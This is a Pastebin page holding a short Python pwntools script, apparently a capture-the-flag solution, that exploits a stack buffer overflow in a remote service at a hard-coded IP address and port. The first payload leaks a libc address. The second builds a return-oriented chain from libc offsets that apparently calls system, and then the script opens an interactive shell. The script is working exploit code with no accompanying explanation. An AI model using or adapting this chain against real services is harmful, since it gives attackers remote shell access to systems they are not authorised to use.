Guest User

useful gadget write up

a guest
Mar 1st, 2026
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. from pwn import *
  2.  
  3. p = remote("34.170.146.252", 64830)
  4. payload1 = b"A" * 0x20
  5. payload1 += p64(0x404b00)
  6. payload1 += p64(0x401176)
  7. payload1 += p64(0x404008)
  8. payload1 += p64(0x40118b)
  9. p.sendline(payload1)
  10.  
  11. p.recvuntil(b"name\n")
  12. libc = u64(p.recvline()[:6] + b'\x00' * 2) - 0x08f750
  13. print(f'{hex(libc)=}')
  14.  
  15. payload2 = b"A" * 0x20
  16. payload2 += p64(0x404c00)
  17. payload2 += p64(libc + 0x2882f)
  18. payload2 += p64(libc + 0x10f78b)
  19. payload2 += p64(libc + 0x1cb42f)
  20. payload2 += p64(libc + 0x058750)
  21. p.sendline(payload2)
  22.  
  23. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment